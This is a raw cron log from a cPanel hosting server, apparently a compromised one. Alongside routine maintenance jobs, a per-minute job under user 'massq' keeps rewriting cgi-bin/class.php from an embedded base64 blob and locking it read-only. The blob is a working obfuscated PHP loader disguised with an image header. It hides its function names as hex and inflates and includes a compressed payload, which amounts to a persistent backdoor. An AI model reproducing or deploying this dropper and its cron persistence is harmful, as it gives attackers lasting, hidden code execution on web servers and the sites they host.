Sep 10 10:45:01 server CROND[18212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:46:01 server CROND[19088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:46:01 server CROND[19087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:46:01 server CROND[19089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:47:02 server CROND[19466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:47:02 server CROND[19467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:47:02 server CROND[19468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:48:01 server CROND[19835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:48:01 server CROND[19836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:48:01 server CROND[19837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:49:01 server CROND[20202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:49:01 server CROND[20201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:49:01 server CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:50:01 server CROND[20686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:50:01 server CROND[20688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:50:01 server CROND[20691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:50:01 server CROND[20689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:50:01 server CROND[20692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:50:01 server CROND[20693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:50:01 server CROND[20696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:50:01 server CROND[20694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:50:01 server CROND[20690]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:51:01 server CROND[21530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:51:01 server CROND[21531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:51:01 server CROND[21532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:52:01 server CROND[21913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:52:01 server CROND[21914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:52:01 server CROND[21915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:53:01 server CROND[22279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:53:01 server CROND[22280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:53:01 server CROND[22282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:54:01 server CROND[22652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:54:01 server CROND[22654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:54:01 server CROND[22653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:55:01 server CROND[23287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:55:01 server CROND[23289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:55:01 server CROND[23290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:55:01 server CROND[23291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:55:01 server CROND[23295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:55:01 server CROND[23292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:55:01 server CROND[23293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:56:01 server CROND[24118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:56:01 server CROND[24119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:56:02 server CROND[24121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:57:01 server CROND[24493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:57:01 server CROND[24494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:57:01 server CROND[24496]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:57:01 server CROND[24497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:58:01 server CROND[24872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
